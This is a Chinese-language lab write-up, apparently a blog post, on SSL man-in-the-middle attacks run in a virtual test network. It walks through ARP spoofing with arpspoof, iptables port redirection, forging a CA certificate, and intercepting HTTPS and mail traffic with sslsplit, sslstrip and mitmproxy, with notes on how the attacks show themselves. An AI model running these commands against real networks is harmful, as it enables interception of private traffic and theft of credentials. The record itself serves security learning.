SSL中间人攻击(MITM)

老板要求,实验几个ssl中间人攻击的工具,简单的记录下实验过程和一些简单的原理,已经使用过的几个工具的使用方法和特点,以备使用。

实验环境:

攻击机:

操作系统:kali-linux虚拟机

IP地址:192.168.138.131。

目标机:

操作系统:windows XP虚拟机

IP地址:192.168.138.128

网络:

VM-NAT,网关192.168.138.2


实验原理:

SSL为安全套阶层协议。使用加密的方式保证链接的安全性。SSL协议包括用于数据传输SSL记录协议和用于建立安全链接的SSL握手协议。SSL记录协议使用对称密码体系进行数据的加密,秘钥由SSL握手协议通过非对称加密方式进行交换。

ssl中间人攻击,顾名思义,就是在SSL回话中,作为客户端和服务器端中间的代理,进行数据的侦听和转发,从而实现在不被客户端发觉的情况下,获取回话内容的一种攻击方式。要实现ssl中间人攻击,需要实现两个目标:作为中间人;解密SSL数据。

攻击者要作为中间人,一般来说需要让自己充当网关的角色。实现方式可以是简单粗暴的直接更改目标主机的网关,或者使用ARP欺骗等方式。总之,让客户端-——服务器的会话变成客户端——中间人和中间人——服务器两个会话。

解密SSL协议一般来说是由中间人自己生成一个伪造的证书,在接到客户端向服务器发出的请求后,使用该证书与客户端建立ssl链接,得到客户端的请求。再与服务器端建立一个正常的ssl会话,将客户的请求转发给服务器,得到服务器的响应并将其转发给客户端。这样,就完成了一次完整的中间人攻击。还有一种另辟蹊径的方式,通过普通用户对https和http头区分的不敏感性,与客户端建立普通的http链接取代https链接,从而绕过ssl加密。


实验步骤:

1.扮演网关

想要攻击,我们首先需要让自己扮演网关的角色。可以直接修改目标机器的网关或者通过arp欺骗来实现。arpspoof是个比较简单的工具,可以实现arp欺骗。使用命令如下:

arpspoof -i eth0 -t 192.168.138.128 -r 192.168.138.2    //-t后是目标机。-r后是要修改的arp条目,一般为网关地址
实验环境中,可以在目标机中使用arp -a命令来查看arp表,网关IP对应的MAC地址变成攻击机的MAC地址则表示成功了。

2.设置转发

要扮演网关的角色,在linux系统中需要开启ip转发功能。另外,一般来说,进行ssl攻击的工具只会处理转发的数据包,所以我们需要监听的使用ssl加密的端口的数据转发到一个指定的端口,这里我们统一使用8080(随意指定端口就可以,没特别要求)。在linux环境下,可以使用iptables来实现。

sysctl -w net.ipv4.ip_forward=1							//开启IP转发
iptables -t nat -F								//清空nat表
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8000	//http端口
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080	//https端口
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8080	//smtp+ssl
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8080	//smtp+tsl
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8080	//pop3s
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8080	//imaps

设置完成后可以通过iptables -t nat -L命令查看

3.SSL解密

我尝试了sslstrip,sslsplit和mitmproxy三种ssl攻击的工具。其中sslsplit和mitmproxy都是通过伪造证书的方式实现,sslstrip是通过将https转换成http方式实现的。分别说下三种工具的使用方法。(三种里面只用一种就可以,他们只是实现统一目的的三种不同方式而已)

sslsplit:

openssl genrsa -out ca.key 4096   //生成4096位RSA私钥
openssl req -new -x509 -days 1826 -key ca.key -out ca.crt	//使用私钥生成证书
./sslsplit 			//运行sslsplit
-D //debug模式
-l connections.log //日志文件
-j /tmp/sslsplit/ 
-S logdir/ //结果存储到 /tmp/sslsplit/logdir文件下
-k ca.key //使用的私钥
-c ca.cer //使用的证书
ssl 0.0.0.0 8080
tcp 0.0.0.0 8000

sslstrip:

sslstrip -l 8080	//这个玩意只能监听到https的回话,pops和imaps等其它的都监听不下来。

mitmproxy:

mitmproxy -T --host	//默认端口就是8080

其它:

1.sslstrip只能劫持https回话,当你输入www.baidu.com时,正常情况下会跳转到https://www.baidu.com,在被sslstrip攻击的情况下,则会跳转到http://www.baidu.com。 但是当在浏览器中输入网址的时候,显示的写明url为https://www.baidu.com时,攻击不会生效。imaps,pops等使用ssl加密的协议无法使用

sslstrip截获

2.使用伪造证书的方式进行攻击时,伪造的证书是不受信任的,在通过浏览器访问时,会有提示,需客户端点击确定,信任该证书才可打开网页。打开的url前面的https上会带有一个明显的红色叉号。

3.抓包发现,被劫持后的响应报文中,一般情况下TTL值固定。因为被劫持后受到的所有响应报文都是由攻击机发送给客户机的,之间路由跳数一般不会改变。

4.mitmproxy还可以编辑报文并重发,功能十分强大,还在学习中。

5.关于证书:sslstrip不需要使用证书,因为是降级为http。sslsplit需要事先生成证书,在启动程序的时候手动指定要使用的证书。而mitmproxy则会自动生成一个证书,放在~/.mitmproxy目录下。



参考资料:

http://sec.chinabyte.com/412/12771912.shtml   (mitmproxy-中间人攻击的神器)

http://www.oschina.net/translate/how-mitmproxy-works(mitmproxy是怎么工作的)     

http://www.freebuf.com/articles/web/5929.html(利用sslstrip和ettercap实现ssl中间人攻击)

再有就是三个工具的--help和man

你可能感兴趣的:(网络安全)